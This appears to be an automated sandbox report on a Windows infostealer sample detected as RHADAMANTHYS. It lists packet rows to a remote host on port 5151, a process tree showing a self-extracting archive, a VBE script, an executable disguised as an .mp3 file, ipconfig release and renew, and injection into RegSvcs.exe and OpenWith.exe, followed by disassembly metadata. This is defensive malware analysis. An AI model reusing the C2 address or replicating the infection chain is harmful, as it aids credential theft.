Nov 21, 2024 13:46:31.273983955 CET	49809	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:31.393874884 CET	5151	49809	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:36.265681982 CET	49831	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:36.385243893 CET	5151	49831	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:36.385369062 CET	49831	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:36.385493040 CET	49831	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:36.504888058 CET	5151	49831	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:38.546334028 CET	5151	49831	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:38.546461105 CET	49831	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:41.289259911 CET	49831	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:41.409708023 CET	5151	49831	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:46.296703100 CET	49856	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:46.416466951 CET	5151	49856	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:46.416636944 CET	49856	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:46.416908979 CET	49856	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:46.536489964 CET	5151	49856	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:48.580765963 CET	5151	49856	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:48.580918074 CET	49856	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:51.304784060 CET	49856	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:51.426680088 CET	5151	49856	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:56.305840015 CET	49877	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:56.425549984 CET	5151	49877	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:56.425637960 CET	49877	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:56.425986052 CET	49877	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:46:56.545497894 CET	5151	49877	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:58.581823111 CET	5151	49877	51.75.171.9	192.168.2.4
Nov 21, 2024 13:46:58.581901073 CET	49877	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:47:01.302576065 CET	49877	5151	192.168.2.4	51.75.171.9
Nov 21, 2024 13:47:01.422352076 CET	5151	49877	51.75.171.9	192.168.2.4

Target ID:	0
Start time:	07:44:58
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\ngPebbPhbp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ngPebbPhbp.exe"
Imagebase:	0xb00000
File size:	1'684'188 bytes
MD5 hash:	FA000351E26E17543F67E3DEDC97D37E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:45:02
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\RarSFX0\rmxb.vbe"
Imagebase:	0xa70000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:45:09
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:45:09
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:45:09
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c qwlvpmrupf.mp3 tnlupe.mp3
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:45:10
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	07:45:10
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x940000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:45:10
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RarSFX0\qwlvpmrupf.mp3
Wow64 process (32bit):	true
Commandline:	qwlvpmrupf.mp3 tnlupe.mp3
Imagebase:	0x370000
File size:	947'288 bytes
MD5 hash:	0ADB9B817F1DF7807576C2D7068DD931
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:45:13
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	07:45:13
Start date:	21/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	07:45:13
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x940000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	07:45:21
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Imagebase:	0x5c0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000E.00000002.1935619525.00000000060B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	07:45:21
Start date:	21/11/2024
Path:	C:\Windows\SysWOW64\OpenWith.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x1b0000
File size:	107'368 bytes
MD5 hash:	0ED31792A7FFF811883F80047CBCFC91
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000F.00000002.2946403129.0000000005A41000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.1935175992.00000000059C0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000F.00000003.1961307501.0000000005639000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000000F.00000003.1932421408.00000000034E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000F.00000003.1934921441.00000000057A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	07:45:25
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Imagebase:	0xd90000
File size:	947'288 bytes
MD5 hash:	0ADB9B817F1DF7807576C2D7068DD931
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	07:45:34
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Imagebase:	0xd00000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000011.00000002.2068593152.00000000066C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	07:45:39
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Imagebase:	0xd90000
File size:	947'288 bytes
MD5 hash:	0ADB9B817F1DF7807576C2D7068DD931
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	07:45:47
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Roaming\wlnk\qwlvpmrupf.mp3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\wlnk\QWLVPM~1.EXE" C:\Users\user\AppData\Roaming\wlnk\tnlupe.mp3
Imagebase:	0xd90000
File size:	947'288 bytes
MD5 hash:	0ADB9B817F1DF7807576C2D7068DD931
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	07:45:47
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Imagebase:	0x7e0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000014.00000002.2208992211.00000000062C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	07:45:55
Start date:	21/11/2024
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\RegSvcs.exe"
Imagebase:	0x270000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000015.00000002.2287549394.0000000005FC3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.8%
Total number of Nodes:	1939
Total number of Limit Nodes:	38

Executed Functions

Function 00B2454A Relevance: 40.5, APIs: 18, Strings: 5, Instructions: 252
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B16D7B: GetModuleHandleW.KERNEL32(kernel32,5EA84158), ref: 00B16DC7
Part of subcall function 00B16D7B: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00B16DD9
Part of subcall function 00B16D7B: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00B16E03

Part of subcall function 00B11309: __EH_prolog3.LIBCMT ref: 00B11310
Part of subcall function 00B11309: GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00B117FB,?,?,\\?\,5EA84158,?,?,?,00000000,00B3A279,000000FF), ref: 00B11319

Part of subcall function 00B1F4D4: OleInitialize.OLE32(00000000), ref: 00B1F4ED
Part of subcall function 00B1F4D4: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00B1F524
Part of subcall function 00B1F4D4: SHGetMalloc.SHELL32(00B5532C), ref: 00B1F52E

GetCommandLineW.KERNEL32 ref: 00B24608
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp,?,00000000), ref: 00B2464F
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000009,?,00000000), ref: 00B24661
UnmapViewOfFile.KERNEL32(00000000,?,00000000), ref: 00B2466F
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,?,00000000), ref: 00B2467D

Part of subcall function 00B1FC38: __EH_prolog3.LIBCMT ref: 00B1FC3F

Part of subcall function 00B23EFC: __EH_prolog3_GS.LIBCMT ref: 00B23F03
Part of subcall function 00B23EFC: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?,?,?,?,?,?,00000028), ref: 00B23F1B
Part of subcall function 00B23EFC: SetEnvironmentVariableW.KERNEL32(sfxpar,?,?,?,?,?,?,?,00000028), ref: 00B23F86

Part of subcall function 00B151BF: _wcslen.LIBCMT ref: 00B151E3

UnmapViewOfFile.KERNEL32(00000000,00B55430,00000400,00B55430,00B55430,00000400,00000000,00000001,?,00000000), ref: 00B246CC
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00B246D3
SetEnvironmentVariableW.KERNEL32(sfxname,00B49698,00000000), ref: 00B2472F
GetLocalTime.KERNEL32(?), ref: 00B2473A
_swprintf.LIBCMT ref: 00B24779
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00B2478E
GetModuleHandleW.KERNEL32(00000000), ref: 00B24795
LoadIconW.USER32(00000000,00000064), ref: 00B247AC
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00020900,00000000), ref: 00B24803
Sleep.KERNELBASE(00001B58), ref: 00B24834
DeleteObject.GDI32 ref: 00B24858
DeleteObject.GDI32(00050E80), ref: 00B24868

Part of subcall function 00B014A7: _wcslen.LIBCMT ref: 00B014B8

Part of subcall function 00B219EE: __EH_prolog3_GS.LIBCMT ref: 00B219F5

CloseHandle.KERNEL32 ref: 00B248AA

Strings

sfxstime, xrefs: 00B24789
sfxname, xrefs: 00B2472A
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00B2476A
STARTDLG, xrefs: 00B247F8
winrarsfxmappingfile.tmp, xrefs: 00B24643

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: File$EnvironmentHandleVariableView$AddressCloseDeleteH_prolog3H_prolog3_ModuleObjectProcUnmap_wcslen$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingOpenParamSleepStartupTime_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3142445277-3710569615
Opcode ID: ea97386e7ae6edefa3d98c3fd0151ea9ee44ef0f928b202cafca412b5b487452
Instruction ID: ba6caa49a257bd323007a4f0e3f423103ff7b78970ffdb3043593231a03a6104
Opcode Fuzzy Hash: ea97386e7ae6edefa3d98c3fd0151ea9ee44ef0f928b202cafca412b5b487452
Instruction Fuzzy Hash: BD91CE71504754EFD320AB64EC55BAF7BE8EB49702F800899F949A3292EF74A944CB21

Function 00B1EBD3 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00B20845,00000066), ref: 00B1EBE6
SizeofResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EBFD
LoadResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EC14
LockResource.KERNEL32(00000000,?,?,?,00B20845,00000066), ref: 00B1EC23
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,?,00B20845,00000066), ref: 00B1EC3E
GlobalLock.KERNEL32(00000000), ref: 00B1EC4F
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00B1EC73
GlobalUnlock.KERNEL32(00000000), ref: 00B1ECD7

Part of subcall function 00B1EB06: GdipAlloc.GDIPLUS(00000010), ref: 00B1EB0C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00B1ECB8
GlobalFree.KERNEL32(00000000), ref: 00B1ECDE

Strings

PNG, xrefs: 00B1EBD7

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: 1025e6c8db1ccf221053d140fec006ea7835e96111c83b525d8813f88e72036a
Instruction ID: da28e6a33abcb3aad77e3792156b2017ae5aecf6dbfc527b01db455dbca876bf
Opcode Fuzzy Hash: 1025e6c8db1ccf221053d140fec006ea7835e96111c83b525d8813f88e72036a
Instruction Fuzzy Hash: 0D316775600702ABD7209FA1ED48E6BBFACFB85750B200569FD25E3261EF31D850DBA0

Function 00B1355D Relevance: 14.8, APIs: 2, Strings: 6, Instructions: 753COMMON

Download Yara Rule

APIs

Part of subcall function 00B18781: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,5EA84158,00000007,?,?,?,00B18751,?,?,?,?,0000000C,00B04426), ref: 00B1879D

_wcslen.LIBCMT ref: 00B1395A
__fprintf_l.LIBCMT ref: 00B13AA7

Strings

$%s:, xrefs: 00B13A8A
RTL, xrefs: 00B13A69
@%s:, xrefs: 00B13A91, 00B13A9D
*messages***, xrefs: 00B1373A
*messages***, xrefs: 00B13773
,, xrefs: 00B13AE2

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_wcslen
String ID: ,$$%s:$*messages***$*messages***$@%s:$RTL
API String ID: 1796436225-285229759
Opcode ID: 86be9b54683fbdbb4236cd5cd024e80f7bd6a360567ed491ce47d0ed9ac5e1ac
Instruction ID: 38cdc4af5a9852b26bec94fdba6e1408e0d4456a0cdc47f3dda62622064cbaca
Opcode Fuzzy Hash: 86be9b54683fbdbb4236cd5cd024e80f7bd6a360567ed491ce47d0ed9ac5e1ac
Instruction Fuzzy Hash: BA52C671900259EBDF24DFA8DC85AEEB7F4FF04710F9005AAE415E7291E7719A84CB90

Function 00B0F826 Relevance: 9.1, APIs: 6, Instructions: 139
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B0F830
FindFirstFileW.KERNELBASE(?,?,00000274,00B0F733,000000FF,00000049,00000049,?,?,00B0A684,?,?,00000000,?,?,?), ref: 00B0F859
FindFirstFileW.KERNEL32(?,?,?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049), ref: 00B0F8A4
GetLastError.KERNEL32(?,?,?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049,?,00000000), ref: 00B0F902
FindNextFileW.KERNEL32(?,?,00000274,00B0F733,000000FF,00000049,00000049,?,?,00B0A684,?,?,00000000,?,?,?), ref: 00B0F92D
GetLastError.KERNEL32(?,00B0D303,?,?,?,?,?,?,?,5EA84158,00000049,?,00000000), ref: 00B0F93A

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$H_prolog3_Next
String ID:
API String ID: 3831798110-0
Opcode ID: 7d9e6b6427e6ce1655877afb2847385ddbff6ce88936266695271b916b7c687b
Instruction ID: 0a7ab4bd06cbd93d0964c7a85e4949efe43784001aa35afd5f0073d7efd7395e
Opcode Fuzzy Hash: 7d9e6b6427e6ce1655877afb2847385ddbff6ce88936266695271b916b7c687b
Instruction Fuzzy Hash: F3511F71905619DBCF24DF64C889AEDBBF4FB09320F6042E9E419A3690DB30AA84CF50

Function 00B0BF3D Relevance: 5.0, APIs: 1, Strings: 1, Instructions: 1497COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B0C342

Part of subcall function 00B12095: __EH_prolog3_GS.LIBCMT ref: 00B1209C

Part of subcall function 00B057C0: __EH_prolog3.LIBCMT ref: 00B057C7

Strings

__tmp_reference_source_, xrefs: 00B0C33D, 00B0C349

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3H_prolog3__wcslen
String ID: __tmp_reference_source_
API String ID: 1523997010-685763994
Opcode ID: 5185972b4f5b20fb660e9fc3573799168bb93d5a4d08405dae98d62b81d4b04b
Instruction ID: e714f4fea19cd45f780c62d0a9c1804861b1877ad0b659e2e41bee54979754e5
Opcode Fuzzy Hash: 5185972b4f5b20fb660e9fc3573799168bb93d5a4d08405dae98d62b81d4b04b
Instruction Fuzzy Hash: B3D2B3719042899FDB25DFA4C891BEEBFF4FF05304F0446AAE49A972C1DB34A949CB50

Function 00B2ECAA Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00B2EC80,00000000,00B46F40,0000000C,00B2EDD7,00000000,00000002,00000000), ref: 00B2ECCB
TerminateProcess.KERNEL32(00000000,?,00B2EC80,00000000,00B46F40,0000000C,00B2EDD7,00000000,00000002,00000000), ref: 00B2ECD2
ExitProcess.KERNEL32 ref: 00B2ECE4

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: d8e90b440b35e3648850a083c5f969f03f6001d60025e796dd66c433555dedba
Instruction ID: 8e6812185c7771edc439c48ee21dbce91fec196a59439356d6ea97a3a3c71f24
Opcode Fuzzy Hash: d8e90b440b35e3648850a083c5f969f03f6001d60025e796dd66c433555dedba
Instruction Fuzzy Hash: 2FE0B636000658AFCF116F96EE09A5C7FA9EF51781F1414A4F959AB122CB36ED42DB40

Function 00B1B76F Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1862034776.0000000000B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.1862005735.0000000000B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862075183.0000000000B3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B49000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862095093.0000000000B52000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862155633.0000000000B57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_ngPebbPhbp.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 74530c972737399332223124a51e05b53dd12470047abe4c9997ee6b5fdadc5b
Instruction ID: 4a999be7db822583c17acb2f5951d56037d1e872fd4430568936670eb0c4b0c9
